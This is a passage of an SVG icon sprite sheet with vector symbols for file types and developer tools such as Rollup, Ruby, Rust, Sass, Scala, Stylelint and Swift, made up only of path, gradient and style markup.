0-.726-1.259zM86.689 86.7l17.365-10.026a1.45 1.45 0 0 0 0-2.513l-14.038-8.105-3.278 1.893a1.556 1.556 0 0 1-1.551 0l-3.277-1.892-14.038 8.104c-.241.14-.423.331-.544.55a1.466 1.466 0 0 0 0 1.413c.121.218.303.41.544.55L85.238 86.7a1.447 1.447 0 0 0 1.451 0z"/></g></g></symbol><symbol viewBox="0 0 24 24" id="riot" xmlns="http://www.w3.org/2000/svg"><defs><path d="M13.26 3.04l.58.05.54.07.52.09.49.11.46.13.44.14.41.16.39.17.36.19.33.21.32.22.29.23.26.25.22.22.2.22.19.24.17.24.15.25.15.26.12.27.12.28.1.29.08.31.07.31.05.32.04.34.02.35.01.37v.05l-.02.51-.05.49-.09.48-.13.45-.15.43-.19.4-.22.39-.26.37-.28.34-.31.33-.33.3-.37.28-.39.27-.41.24-.44.22L21 21h-7.04l-3.48-5.14H9.17V21H3V3h9.01l.64.01.61.03zm-4.09 8.52h2.66l.99-.11.75-.35.47-.55.16-.74v-.05l-.17-.75-.47-.54-.74-.32-.96-.11H9.17v3.52z" id="ija"/></defs><use xlink:href="#ija" fill="#ff1744"/><use xlink:href="#ija" fill-opacity="0" stroke="#000" stroke-opacity="0"/></symbol><symbol viewBox="0 0 24 24" id="robot" xmlns="http://www.w3.org/2000/svg"><path d="M12.05 2.804a1.787 1.787 0 0 1 1.788 1.788c0 .661-.357 1.242-.893 1.546v1.135h.893a6.256 6.256 0 0 1 6.256 6.256h.894a.894.894 0 0 1 .893.893v2.681a.894.894 0 0 1-.893.894h-.894v.894a1.787 1.787 0 0 1-1.787 1.787H5.795a1.787 1.787 0 0 1-1.787-1.787v-.894h-.894a.894.894 0 0 1-.894-.894v-2.68a.894.894 0 0 1 .894-.894h.894a6.256 6.256 0 0 1 6.255-6.256h.894V6.138a1.773 1.773 0 0 1-.894-1.546 1.787 1.787 0 0 1 1.788-1.788m-4.022 9.83a2.234 2.234 0 0 0-2.234 2.235 2.234 2.234 0 0 0 2.234 2.234 2.234 2.234 0 0 0 2.234-2.234 2.234 2.234 0 0 0-2.234-2.234m8.043 0a2.234 2.234 0 0 0-2.234 2.234 2.234 2.234 0 0 0 2.234 2.234 2.234 2.234 0 0 0 2.235-2.234 2.234 2.234 0 0 0-2.235-2.234z" fill="#ff5722" stroke-width=".894"/></symbol><symbol viewBox="100 100 800 800" id="rollup" xmlns="http://www.w3.org/2000/svg"><style>.ilst0{fill:url(#ilXMLID_4_)}.ilst1{fill:url(#ilXMLID_5_)}.ilst2{fill:url(#ilXMLID_8_)}.ilst3{fill:url(#ilXMLID_9_)}.ilst4{fill:url(#ilXMLID_11_)}.ilst5{opacity:.3;fill:url(#ilXMLID_16_)}</style><g id="ilXMLID_14_" transform="translate(-54.117 -62.353) scale(1.1129)"><linearGradient id="ilXMLID_4_" x1="444.47" x2="598.47" y1="526.05" y2="562.05" gradientUnits="userSpaceOnUse"><stop stop-color="#FF6533" offset="0"/><stop stop-color="#FF5633" offset=".157"/><stop stop-color="#FF4333" offset=".434"/><stop stop-color="#FF3733" offset=".714"/><stop stop-color="#F33" offset="1"/></linearGradient><path id="ilXMLID_15_" class="ilst0" d="M721 410c0-33.6-8.8-65.1-24.3-92.4-41.1-42.3-130.5-52.1-152.7-.2-22.8 53.2 38.3 112.4 65 107.7 34-6-6-84-6-84 52 98 40 68-54 158S359 779 345 787c-.6.4-1.2.7-1.9 1h368.7c6.5 0 10.7-6.9 7.8-12.7l-96.4-190.8c-2.1-4.1-.6-9.2 3.4-11.5C683 540.6 721 479.8 721 410z" fill="url(#ilXMLID_4_)"/></g><g id="ilXMLID_2_" transform="translate(-54.117 -62.353) scale(1.1129)"><linearGradient id="ilXMLID_5_" x1="420.38" x2="696.38" y1="475" y2="689" gradientUnits="userSpaceOnUse"><stop stop-color="#BF3338" offset="0"/><stop stop-color="#F33" offset="1"/></linearGradient><path id="ilXMLID_10_" class="ilst1" d="M721 410c0-33.6-8.8-65.1-24.3-92.4-41.1-42.3-130.5-52.1-152.7-.2-22.8 53.2 38.3 112.4 65 107.7 34-6-6-84-6-84 52 98 40 68-54 158S359 779 345 787c-.6.4-1.2.7-1.9 1h368.7c6.5 0 10.7-6.9 7.8-12.7l-96.4-190.8c-2.1-4.1-.6-9.2 3.4-11.5C683 540.6 721 479.8 721 410z" fill="url(#ilXMLID_5_)"/></g><linearGradient id="ilXMLID_8_" x1="429.39" x2="469.39" y1="517.16" y2="559.16" gradientTransform="translate(-54.117 -62.353) scale(1.1129)" gradientUnits="userSpaceOnUse"><stop stop-color="#FF6533" offset="0"/><stop stop-color="#FF5633" offset=".157"/><stop stop-color="#FF4333" offset=".434"/><stop stop-color="#FF3733" offset=".714"/><stop stop-color="#F33" offset="1"/></linearGradient><path id="ilXMLID_3_" class="ilst2" d="M329.82 813.46c15.58-8.903 122.41-220.34 227.02-320.5s117.96-66.771 60.094-175.83c0 0-221.46 310.49-301.58 464.06" fill="url(#ilXMLID_8_)" stroke-width="1.113"/><g id="ilXMLID_7_" transform="translate(-54.117 -62.353) scale(1.1129)"><linearGradient id="ilXMLID_9_" x1="502.11" x2="490.11" y1="589.46" y2="417.46" gradientUnits="userSpaceOnUse"><stop stop-color="#FF6533" offset="0"/><stop stop-color="#FF5633" offset=".157"/><stop stop-color="#FF4333" offset=".434"/><stop stop-color="#FF3733" offset=".714"/><stop stop-color="#F33" offset="1"/></linearGradient><path id="ilXMLID_12_" class="ilst3" d="M373 537c134.4-247.1 152-272 222-272 36.8 0 73.9 16.6 97.9 46.1-32.7-52.7-90.6-88-156.9-89H307.7c-4.8 0-8.7 3.9-8.7 8.7V691c13.6-35.1 36.7-85.3 74-154z" fill="url(#ilXMLID_9_)"/></g><linearGradient id="ilXMLID_11_" x1="450.12" x2="506.94" y1="514.21" y2="552.85" gradientTransform="translate(-54.117 -62.353) scale(1.1129)" gradientUnits="userSpaceOnUse"><stop stop-color="#FBB040" offset="0"/><stop stop-color="#FB8840" offset="1"/></linearGradient><path id="ilXMLID_6_" class="ilst4" d="M556.84 492.96c-104.61 100.16-211.44 311.6-227.02 320.5s-41.732 10.016-55.643-5.564c-14.801-16.582-37.837-43.401 86.802-272.65 149.57-274.99 169.15-302.7 247.05-302.7 40.953 0 82.24 18.473 108.95 51.302 1.447 2.337 2.893 4.785 4.34 7.233-45.738-47.074-145.23-57.98-169.93-.222-25.373 59.204 42.622 125.08 72.335 119.85 37.837-6.677-6.677-93.48-6.677-93.48 57.757 108.95 44.403 75.563-60.205 175.72z" fill="url(#ilXMLID_11_)" stroke-width="1.113"/><linearGradient id="ilXMLID_16_" x1="508.33" x2="450.33" y1="295.76" y2="933.76" gradientTransform="translate(-54.117 -62.353) scale(1.1129)" gradientUnits="userSpaceOnUse"><stop stop-color="#FFF" offset="0"/><stop stop-color="#FFF" stop-opacity="0" offset="1"/></linearGradient><path id="ilXMLID_13_" class="ilst5" d="M373.22 547.49c149.57-274.99 169.15-302.7 247.05-302.7 33.719 0 67.661 12.575 93.48 35.277-26.708-30.492-66.326-47.519-105.72-47.519-77.9 0-97.486 27.71-247.05 302.7-124.64 229.25-101.6 256.07-86.802 272.65 2.114 2.337 4.563 4.34 7.122 6.01-13.02-18.919-18.807-62.877 91.922-266.42z" fill="url(#ilXMLID_16_)" opacity=".3" stroke-width="1.113"/></symbol><symbol viewBox="0 0 24 24" id="ruby" xmlns="http://www.w3.org/2000/svg"><path d="M16 9h3l-5 7m-4-7h4l-2 8M5 9h3l2 7m5-12h2l2 3h-3m-5-3h2l1 3h-4M7 4h2L8 7H5m1-5L2 8l10 14L22 8l-4-6H6z" fill="#f44336"/></symbol><symbol viewBox="0 0 144 144" id="rust" xmlns="http://www.w3.org/2000/svg"><path d="M68.252 26.206a3.561 3.561 0 0 1 7.123 0 3.561 3.561 0 0 1-7.123 0M25.766 58.451a3.561 3.561 0 0 1 7.123 0 3.561 3.561 0 0 1-7.123 0m84.97.166a3.561 3.561 0 0 1 7.123 0 3.561 3.561 0 0 1-7.123 0m-74.661 4.88a3.252 3.252 0 0 0 1.651-4.29l-1.58-3.574h6.214v28.01H29.823a43.847 43.847 0 0 1-1.42-16.738zm25.994.688v-8.256h14.798c.764 0 5.397.883 5.397 4.347 0 2.877-3.553 3.908-6.475 3.908zm-20.203 44.452a3.561 3.561 0 0 1 7.123 0 3.561 3.561 0 0 1-7.123 0m52.769.166a3.561 3.561 0 0 1 7.123 0 3.561 3.561 0 0 1-7.123 0m1.101-8.076a3.246 3.246 0 0 0-3.856 2.498l-1.787 8.342a43.847 43.847 0 0 1-36.566-.175l-1.787-8.342a3.246 3.246 0 0 0-3.854-2.497l-7.365 1.581a43.847 43.847 0 0 1-3.808-4.488h35.834c.406 0 .676-.074.676-.443V84.527c0-.369-.27-.442-.676-.442h-10.48V76.05h11.335c1.035 0 5.532.296 6.97 6.045.45 1.768 1.44 7.519 2.116 9.36.674 2.065 3.417 6.19 6.34 6.19h18.501a43.847 43.847 0 0 1-4.06 4.7zm19.898-33.468a43.847 43.847 0 0 1 .093 7.612h-4.499c-.45 0-.631.296-.631.737v2.066c0 4.863-2.742 5.92-5.145 6.19-2.288.258-4.825-.958-5.138-2.358-1.35-7.593-3.6-9.214-7.152-12.016 4.409-2.8 8.996-6.93 8.996-12.457 0-5.97-4.092-9.729-6.881-11.572-3.914-2.58-8.246-3.096-9.415-3.096H39.336A43.847 43.847 0 0 1 63.867 28.52l5.484 5.753a3.243 3.243 0 0 0 4.59.105l6.137-5.869a43.847 43.847 0 0 1 30.017 21.38l-4.201 9.487a3.256 3.256 0 0 0 1.652 4.29zm10.477.154l-.143-1.467 4.327-4.036c.88-.82.55-2.472-.574-2.891l-5.532-2.068-.433-1.428 3.45-4.792c.704-.974.058-2.53-1.127-2.724l-5.833-.949-.7-1.31 2.45-5.38c.502-1.095-.43-2.496-1.636-2.45l-5.92.206-.935-1.135 1.36-5.766c.275-1.17-.913-2.36-2.084-2.085l-5.765 1.359-1.136-.935.207-5.92c.046-1.198-1.357-2.135-2.45-1.637l-5.379 2.452-1.31-.703-.95-5.833c-.193-1.183-1.75-1.83-2.723-1.128l-4.796 3.45-1.425-.432-2.068-5.532c-.42-1.127-2.072-1.452-2.89-.576l-4.036 4.33-1.467-.143-3.117-5.036c-.63-1.02-2.318-1.02-2.946 0l-3.117 5.036-1.467.143-4.037-4.33c-.819-.876-2.47-.551-2.89.576l-2.069 5.532-1.426.432-4.795-3.45c-.974-.703-2.53-.055-2.723 1.128l-.951 5.833-1.31.703-5.379-2.452c-1.093-.5-2.496.439-2.45 1.637l.206 5.92-1.136.935-5.765-1.36c-1.171-.272-2.36.915-2.086 2.086l1.358 5.766-.933 1.135-5.92-.206c-1.193-.035-2.134 1.355-1.637 2.45l2.453 5.38-.703 1.31-5.832.949c-1.185.192-1.827 1.75-1.128 2.724l3.45 4.792-.433 1.428-5.532 2.068c-1.123.42-1.452 2.07-.574 2.891l4.328 4.036-.143 1.467-5.035 3.116c-1.02.63-1.02 2.318 0 2.946l5.035 3.117.143 1.467-4.328 4.037c-.878.818-.549 2.468.574 2.89l5.532 2.068.433 1.428-3.45 4.793c-.701.976-.056 2.532 1.129 2.723l5.831.948.703 1.312-2.453 5.378c-.5 1.093.444 2.5 1.638 2.451l5.917-.207.935 1.136-1.358 5.768c-.275 1.168.915 2.355 2.086 2.08l5.765-1.357 1.137.932-.207 5.921c-.046 1.199 1.357 2.136 2.45 1.636l5.379-2.45 1.31.702.95 5.83c.193 1.187 1.75 1.829 2.725 1.13l4.792-3.453 1.427.435 2.069 5.53c.42 1.123 2.072 1.454 2.89.574l4.037-4.328 1.467.146 3.117 5.035c.628 1.016 2.316 1.018 2.946 0l3.117-5.035 1.467-.146 4.036 4.328c.818.88 2.47.549 2.89-.574l2.068-5.53 1.428-.435 4.793 3.453c.974.699 2.53.055 2.722-1.13l.952-5.83 1.31-.703 5.378 2.451c1.093.5 2.493-.435 2.45-1.636l-.206-5.92 1.135-.933 5.765 1.357c1.171.275 2.36-.912 2.085-2.08l-1.358-5.768.932-1.136 5.92.207c1.194.048 2.138-1.358 1.636-2.451l-2.45-5.378.7-1.312 5.833-.948c1.187-.19 1.831-1.747 1.127-2.723l-3.45-4.793.433-1.428 5.532-2.068c1.125-.422 1.454-2.072.574-2.89l-4.327-4.037.143-1.467 5.035-3.117c1.02-.628 1.021-2.315.001-2.946z" fill="#ff7043" stroke-width="1.146"/></symbol><symbol viewBox="0 0 500 500" id="sass" xmlns="http://www.w3.org/2000/svg"><path d="M422.676 96.573c-12.192-47.839-91.508-63.557-166.575-36.892-44.68 15.877-93.029 40.786-127.81 73.311-41.349 38.675-47.943 72.328-45.216 86.395 9.583 49.622 77.585 82.069 105.535 106.126v.144c-8.246 4.05-68.565 34.584-82.684 65.799-14.893 32.932 2.372 56.556 13.804 59.742 35.424 9.859 71.764-7.866 91.311-37.01 18.853-28.12 17.28-64.422 9.086-82.487 11.3-2.976 24.476-4.314 41.218-2.36 47.248 5.52 56.517 35.017 54.747 47.366-1.77 12.35-11.681 19.14-14.998 21.186-3.317 2.045-4.326 2.766-4.05 4.287.405 2.215 1.94 2.137 4.758 1.652 3.894-.656 24.804-10.042 25.709-32.828 1.14-28.933-26.587-61.302-75.684-60.45-20.216.354-32.933 2.268-42.123 5.69-.681-.774-1.363-1.547-2.084-2.307-30.35-32.382-86.46-55.285-84.088-98.824.866-15.823 6.372-57.5 107.817-108.052 83.104-41.415 149.637-30.009 161.135-4.76 16.427 36.08-35.554 103.137-121.858 112.812-32.88 3.684-50.198-9.059-54.498-13.804-4.536-4.995-5.204-5.218-6.909-4.287-2.753 1.533-1.01 5.938 0 8.574 2.583 6.712 13.15 18.603 31.176 24.515 15.863 5.205 54.459 8.063 101.156-9.99 52.283-20.255 93.12-76.523 81.125-123.548zM200.213 340.34c3.92 14.5 3.487 28.016-.564 40.248a65.289 65.289 0 0 1-3.225 7.97c-3.12 6.477-7.316 12.534-12.442 18.132-15.653 17.069-37.507 23.532-46.88 18.092-10.122-5.874-5.048-29.944 13.083-49.11 19.52-20.636 47.602-33.903 47.602-33.903l-.039-.079 2.465-1.35z" fill="#ec407a" stroke="#ec407a" stroke-width="16.286552999999998"/></symbol><symbol viewBox="0 0 300 300" id="sbt" xmlns="http://www.w3.org/2000/svg"><path d="M105.46 209.517c-7.875 0-13.452-7.521-13.452-15.37v-.327c0-7.848 5.578-13.735 13.452-13.735h164.05c1.476-4.905 2.625-11.446 3.281-17.986h-137.81c-7.875 0-14.273-6.05-14.273-13.898s6.398-13.898 14.273-13.898h137.31c-.82-6.54-1.969-13.081-3.773-17.986h-104.01c-7.875 0-14.273-6.05-14.273-13.898s6.398-13.898 14.273-13.898h91.87c-21.327-37.607-60.864-61.315-106.14-61.315-67.918 0-123.04 54.448-123.04 122.3 0 67.856 55.122 123.28 123.04 123.28 46.59 0 87.112-25.507 107.95-63.114h-152.73z" fill="#0277bd" stroke-width="1.638"/></symbol><symbol viewBox="0 0 256 256" id="scala" xmlns="http://www.w3.org/2000/svg"><path fill="#f44336" fill-rule="evenodd" stroke-width=".3" d="M59.607 50.647l149.097-21.982v49.488L59.607 100.135zM59.593 114.08L208.69 92.098v49.488L59.593 163.568zM59.587 177.358l149.097-21.982v49.488L59.587 226.846z"/><path fill="#f44336" fill-rule="evenodd" stroke-width=".3" d="M62.425 91.414l95.605 30.923-2.832 8.757-95.605-30.922zM113.084 61.13l95.604 30.922-2.832 8.757-95.605-30.922zM62.425 154.79l95.605 30.922-2.833 8.758-95.604-30.923zM113.097 124.408l95.604 30.923-2.832 8.757-95.605-30.922z"/></symbol><symbol viewBox="0 0 24 24" id="settings" xmlns="http://www.w3.org/2000/svg"><path d="M12 15.5A3.5 3.5 0 0 1 8.5 12 3.5 3.5 0 0 1 12 8.5a3.5 3.5 0 0 1 3.5 3.5 3.5 3.5 0 0 1-3.5 3.5m7.43-2.53c.04-.32.07-.64.07-.97 0-.33-.03-.66-.07-1l2.11-1.63c.19-.15.24-.42.12-.64l-2-3.46c-.12-.22-.39-.31-.61-.22l-2.49 1c-.52-.39-1.06-.73-1.69-.98l-.37-2.65A.506.506 0 0 0 14 2h-4c-.25 0-.46.18-.5.42l-.37 2.65c-.63.25-1.17.59-1.69.98l-2.49-1c-.22-.09-.49 0-.61.22l-2 3.46c-.13.22-.07.49.12.64L4.57 11c-.04.34-.07.67-.07 1 0 .33.03.65.07.97l-2.11 1.66c-.19.15-.25.42-.12.64l2 3.46c.12.22.39.3.61.22l2.49-1.01c.52.4 1.06.74 1.69.99l.37 2.65c.04.24.25.42.5.42h4c.25 0 .46-.18.5-.42l.37-2.65c.63-.26 1.17-.59 1.69-.99l2.49 1.01c.22.08.49 0 .61-.22l2-3.46c.12-.22.07-.49-.12-.64l-2.11-1.66z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" id="shaderlab" xmlns="http://www.w3.org/2000/svg"><path d="M9.11 17H6.5l-4.91-5L6.5 7h2.61l1.31-2.26L17.21 3l1.87 6.74L17.77 12l1.31 2.26L17.21 21l-6.79-1.74L9.11 17m.14-.25l5.13 1.38L11.42 13H5.5l3.75 3.75m6.87.38L17.5 12l-1.38-5.13L13.15 12l2.97 5.13M9.25 7.25L5.5 11h5.92l2.96-5.13-5.13 1.38z" fill="#1976d2"/></symbol><symbol viewBox="0 0 24 24" id="slim" xmlns="http://www.w3.org/2000/svg"><path d="M6.959 2.5a4.605 4.605 0 0 0-4.615 4.615v9.957a4.605 4.605 0 0 0 4.615 4.615h9.957a4.605 4.605 0 0 0 4.615-4.615V7.115A4.605 4.605 0 0 0 16.916 2.5zm4.938 2.691a6.811 6.811 0 0 1 6.81 6.813H13.43L9.938 7.287l.699 4.717H5.086a6.811 6.811 0 0 1 6.81-6.813z" fill="#f57f17"/></symbol><symbol id="smarty" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><style>.iust0{fill:#ffce00}</style><path class="iust0" d="M9.14 20.606c0 .556.398.953.954.953h3.812c.556 0 .953-.397.953-.953v-.953H9.141zM12 2.5c-3.653 0-6.671 3.018-6.671 6.671 0 2.303 1.112 4.289 2.859 5.48v2.144c0 .556.397.953.953.953h5.718c.556 0 .953-.397.953-.953V14.65c1.747-1.191 2.86-3.177 2.86-5.48 0-3.653-3.019-6.671-6.672-6.671zm2.7 10.563l-.794.555v2.224h-3.812v-2.224l-.794-.555A4.712 4.712 0 0 1 7.235 9.17 4.78 4.78 0 0 1 12 4.405a4.78 4.78 0 0 1 4.765 4.765 4.712 4.712 0 0 1-2.065 3.892z"/></symbol><symbol viewBox="0 0 200 200" id="snyk" xmlns="http://www.w3.org/2000/svg"><title>Group 2</title><g transform="translate(15.255 18.22) scale(1.8477)" fill="none" fill-rule="evenodd"><path d="M65.161 24.997c-1.656 5.974-5.255 23.587-5.255 23.587s-6.618-2.464-14.148-2.476h-.055c-.413.002-.822.012-1.23.026v41.649h6.677v.003h5.815v-.003h20.858c.111-8.177-2.036-27.066-2.036-27.066-1.088-2.279.46-7.668.46-7.668-8.869-9.092-11.086-28.051-11.086-28.051zm-3.357 43.958c5.476 0 1.381 4.64.9 5.168H52.35c.944-1.18 4.504-5.168 9.453-5.168z" fill="#607d8b" stroke-width="1.6"/><path d="M26.366 24.995s-2.217 18.961-11.087 28.053c0 0 1.548 5.391.46 7.669 0 0-2.15 18.895-2.038 27.066h19.273v.003h7.079v-.003h5.744V46.107h-.025c-7.532.013-14.151 2.478-14.151 2.478s-3.6-17.615-5.255-23.59zm3.264 43.96c4.95 0 8.51 3.987 9.452 5.168H28.73c-.479-.528-4.573-5.168.9-5.168z" fill="#90a4ae" stroke-width="1.6"/><g transform="translate(23.76 77.45) scale(1.5998)"><g transform="translate(17.526)"><path d="M7.357.06H.177v.075C.177 2.64 2.345 4.67 4.89 4.67 7.431 4.67 9.6 2.64 9.6.135V.059z" fill="#455a64"/><path d="M1.972.06v.075a2.692 2.692 0 1 0 5.386 0V.059z" fill="#fff"/><path d="M5.496.06H4.234c-.012 0-.023.005-.034.007.157.033.243.388.21.624a.721.721 0 0 1-.71.617c.102.471.487.85.997.922a1.188 1.188 0 0 0 1.35-1.007C6.112.743 5.881.06 5.495.06z" fill="#37474f"/></g><path d="M7.552.06H.372v.075c0 2.505 2.17 4.535 4.712 4.535 2.544 0 4.712-2.03 4.712-4.535V.059z" fill="#455a64"/><path d="M2.168.06v.075a2.692 2.692 0 1 0 5.385 0V.059z" fill="#fff"/><path d="M5.692.06H4.428c-.01 0-.022.005-.032.007.156.033.242.388.21.624a.72.72 0 0 1-.712.617c.104.471.488.85.999.922A1.187 1.187 0 0 0 6.24 1.223C6.308.743 6.078.06 5.69.06z" fill="#37474f"/></g><path d="M25.514-.27l-4.202 7.697C19.838 10.17 6.858 34.465 6.858 43.243v.516L12.8 59.573c-.8 7.258-2.203 21.643-1.78 28.21h5.73c-.354-3.787.648-17.008 1.903-28.25l.076-.677-1.075-2.892c3.694-3.868 6.285-9.193 8.073-14.261l.174 1.235 5.869 9.629 2.291-.983c.058-.024 5.935-2.523 11.643-2.523 5.672 0 11.646 2.5 11.702 2.525l2.29.976 5.86-9.626.23-1.608c1.769 5.117 4.358 10.536 8.07 14.49l-1.127 3.035.076.678c1.259 11.286 2.266 24.564 1.916 28.252h5.677c.406-6.567-1.05-20.952-1.848-28.208l5.838-15.817v-.514c0-8.779-12.876-33.074-14.347-35.816L65.923-.27l-5.897 41.229-2.723 4.478c-2.628-.882-7.1-2.11-11.603-2.11-4.498 0-8.94 1.225-11.557 2.108l-2.722-4.476-2.07-14.452a.832.832 0 0 0 .006-.071l-.016-.004zm-3.166 18.39l1.206 8.407c-.46 3.143-2.561 15.47-8.198 23.24l-2.598-6.99c.325-4.554 5.067-15.462 9.59-24.656zm46.763 0c4.523 9.194 9.267 20.104 9.592 24.657L76.166 49.6c-6.09-8.553-8-22.459-8.166-23.73z" fill="#607d8b" stroke-width="1.6"/></g></symbol><symbol viewBox="0 0 24 24" id="solidity" xmlns="http://www.w3.org/2000/svg"><path d="M5.8 14.05l6.253 8.61 6.252-8.61-6.254 3.807z" fill="#0288d1" stroke-width="4.553" stroke-linejoin="round"/><path d="M12.051 1.347L5.8 11.833l6.252 3.807 6.254-3.807z" fill="#0288d1" stroke-width="5.025" stroke-linejoin="round"/></symbol><symbol viewBox="0 0 120 120" id="sonar" xmlns="http://www.w3.org/2000/svg"><style>.a,.b{fill:#fff}.b{stroke:#fff;stroke-miterlimit:10}</style><path d="M115.45 23.033S97.961 33.27 97.534 33.412c-.427.284-.852.57-1.137.854-1.422 1.421-1.848 3.41-1.422 5.26.285.852.711 1.849 1.422 2.56.711.71 1.564 1.137 2.559 1.422 1.848.426 3.84 0 5.262-1.422.426-.427.709-.853.851-1.28l.143-.427 2.56-4.692zm-39.102 9.242c-27.441 0-31.99 13.08-31.99 29.29 0 3.838.569 7.962-1.99 11.942-3.84 5.972-8.957 5.828-10.236 5.828-1.706 0-7.962-.993-8.246-2.841h.994c6.682 0 11.658-5.404 11.658-12.655v-2.56h-5.686c-4.123 0-7.82 1.849-10.238 5.12-2.417-3.271-6.113-5.12-10.236-5.12h-5.83v2.56c0 7.11 5.688 12.795 12.797 12.795h1.848c0 4.124 5.687 20.332 47.63 20.332 16.352 0 40.665-2.843 40.665-33.697 0-5.829-1.848-11.23-4.691-15.78-.996.284-1.992.568-3.13.568a8.92 8.92 0 0 1-8.956-8.957c0-.995.141-1.991.425-2.986-4.265-2.702-8.53-3.838-14.787-3.838z" fill="#1e88e5" stroke-width="1.422"/></symbol><symbol viewBox="0 0 412 395" id="stylelint" xmlns="http://www.w3.org/2000/svg"><title>stylelint-icon-white</title><g transform="translate(31.478 29.499) scale(.84775)" fill="#cfd8dc" fill-rule="evenodd"><path d="M208.8 393.05c45.057-161.12 43.75-161.85 76.32-276.73l7.832 4.523c4.255 2.458 7.738.448 7.738-4.455V61.602c8.643-30.27 15.416-53.66 17.4-60.693h35.287l58.618 54.304-38.498 33.27 29.11 31.473-191.86 273.09c-.938 1.542-2.244 1.19-1.947 0zm20.96-347.28c1.733 0 3.148.958 3.148 2.147v28.077c0 1.186-1.415 2.15-3.147 2.15h-47.396c-1.742 0-3.153-.96-3.153-2.15V47.917c0-1.185 1.41-2.147 3.153-2.147h47.396z"/><path d="M288.26 14.688l-52.14 30.1c.605.92.973 1.98.973 3.136v28.078c0 1.457-.565 2.77-1.496 3.83l52.663 30.402c3.59 2.073 6.535.377 6.535-3.764V18.456c0-4.145-2.944-5.836-6.535-3.768zM175.02 76V47.923c0-1.15.368-2.21.966-3.13l-52.14-30.105c-3.588-2.068-6.53-.376-6.53 3.768v88.013c0 4.14 2.938 5.84 6.53 3.76l52.66-30.405c-.926-1.06-1.487-2.37-1.487-3.827z"/><path d="M201.25 393.05h1.947c-45.05-161.12-43.753-161.85-76.32-276.73l-7.833 4.523c-4.253 2.458-7.737.448-7.737-4.455V61.602C102.662 31.332 95.892 7.942 93.902.909H58.619L.002 55.213l38.494 33.27-29.11 31.473z"/><circle cx="204.57" cy="122.54" r="14.231"/><circle cx="204.57" cy="207.16" r="14.231"/><circle cx="204.57" cy="291.78" r="14.23"/></g></symbol><symbol viewBox="0 0 412 395" id="stylelint_light" xmlns="http://www.w3.org/2000/svg"><title>stylelint-icon-black</title><g transform="translate(31.478 29.499) scale(.84775)" fill="#546e7a" fill-rule="evenodd"><path d="M208.8 393.05c45.057-161.12 43.75-161.85 76.32-276.73l7.832 4.523c4.255 2.458 7.738.448 7.738-4.455V61.602c8.643-30.27 15.416-53.66 17.4-60.693h35.287l58.618 54.304-38.498 33.27 29.11 31.473-191.86 273.09c-.938 1.542-2.244 1.19-1.947 0zm20.96-347.28c1.733 0 3.148.958 3.148 2.147v28.077c0 1.186-1.415 2.15-3.147 2.15h-47.396c-1.742 0-3.153-.96-3.153-2.15V47.917c0-1.185 1.41-2.147 3.153-2.147h47.396z"/><path d="M288.26 14.688l-52.14 30.1c.605.92.973 1.98.973 3.136v28.078c0 1.457-.565 2.77-1.496 3.83l52.663 30.402c3.59 2.073 6.535.377 6.535-3.764V18.456c0-4.145-2.944-5.836-6.535-3.768zM175.02 76V47.923c0-1.15.368-2.21.966-3.13l-52.14-30.105c-3.588-2.068-6.53-.376-6.53 3.768v88.013c0 4.14 2.938 5.84 6.53 3.76l52.66-30.405c-.926-1.06-1.487-2.37-1.487-3.827z"/><path d="M201.25 393.05h1.947c-45.05-161.12-43.753-161.85-76.32-276.73l-7.833 4.523c-4.253 2.458-7.737.448-7.737-4.455V61.602C102.662 31.332 95.892 7.942 93.902.909H58.619L.002 55.213l38.494 33.27-29.11 31.473z"/><circle cx="204.57" cy="122.54" r="14.231"/><circle cx="204.57" cy="207.16" r="14.231"/><circle cx="204.57" cy="291.78" r="14.23"/></g></symbol><symbol viewBox="0 0 200.00001 200.00001" id="stylus" xmlns="http://www.w3.org/2000/svg"><path d="M126.814 155.9c14.64-17.51 16.362-35.595 5.024-69.18-7.177-21.24-19.09-37.602-10.334-50.807 9.329-14.065 29.135-.43 12.63 18.371l3.301 2.297c19.806 2.296 29.566-24.83 14.783-32.58C113.179 3.621 79.02 42.803 94.09 88.156c6.458 19.232 15.5 39.613 8.18 55.83-6.314 13.923-18.514 22.103-26.695 22.39-17.079.862-5.74-38.32 13.922-48.08 1.722-.861 4.162-2.01 1.866-4.88-24.256-2.727-38.464 8.468-46.645 24.112-23.825 45.497 45.21 62.29 82.095 18.371z" fill="#c0ca33" stroke-width="1.435"/></symbol><symbol viewBox="0 0 24 24" id="swc" xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="jba"><stop offset="0" stop-color="#791223"/><stop offset="1" stop-color="#d92f3c"/></linearGradient><linearGradient xlink:href="#jba" id="jbb" x1="12.356" y1="21.559" x2="12.356" y2="2.949" gradientUnits="userSpaceOnUse"/></defs><path d="M6 3c-.47 0-.88.21-1.16.55L3.46 5.23C3.17 5.57 3 6 3 6.5V19a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V6.5c0-.5-.17-.93-.46-1.27l-1.39-1.68C18.88 3.21 18.47 3 18 3H6zm-.07 1h12l.94 1H5.12l.81-1z" fill="url(#jbb)"/><path style="line-height:125%" d="M11.053 11.918h-.008c-.244.022-.475.054-.676.11a2.9 2.9 0 0 0-.856.412 3.399 3.399 0 0 0-.67.683 9.36 9.36 0 0 0-.586.95c-.07.131-.134.244-.201.365v.001h-.002l-.768 1.372-.003-.001c-.136.253-.264.485-.38.686-.123.212-.26.39-.411.539a1.599 1.599 0 0 1-.52.34c-.04.016-.092.024-.138.036h-.567v1.383H5.834v-.001c.245-.02.477-.053.679-.11a2.9 2.9 0 0 0 .856-.411c.245-.185.469-.413.67-.683.195-.275.39-.591.585-.95.07-.131.135-.244.202-.366l.004.001.002-.002.02-.038H10.948v-1.378h-.19v-.001H9.624c.125-.234.246-.452.355-.64.123-.21.259-.39.41-.538.152-.148.325-.26.52-.34.04-.015.091-.024.136-.035h.57V13.3h-.002v-1.381h-.56v-.001z" font-weight="400" font-size="40" font-family="sans-serif" letter-spacing="0" word-spacing="0" fill="#fff"/></symbol><symbol viewBox="0 0 24 24" id="swift" xmlns="http://www.w3.org/2000/svg"><path d="M17.09 19.72c-2.36 1.36-5.59 1.5-8.86.1A13.807 13.807 0 0 1 2 14.5c.67.55 1.46 1 2.3 1.4 3.37 1.57 6.73 1.46 9.1 0-3.37-2.59-6.24-5.96-8.37-8.71-.45-.45-.78-1.01-1.12-1.51 8.28 6.05 7.92 7.59 2.41-1.01 4.89 4.94 9.43 7.74 9.43 7.74.16.09.25.16.36.22.1-.25.19-.51.26-.78.79-2.85-.11-6.12-2.08-8.81 4.55 2.75 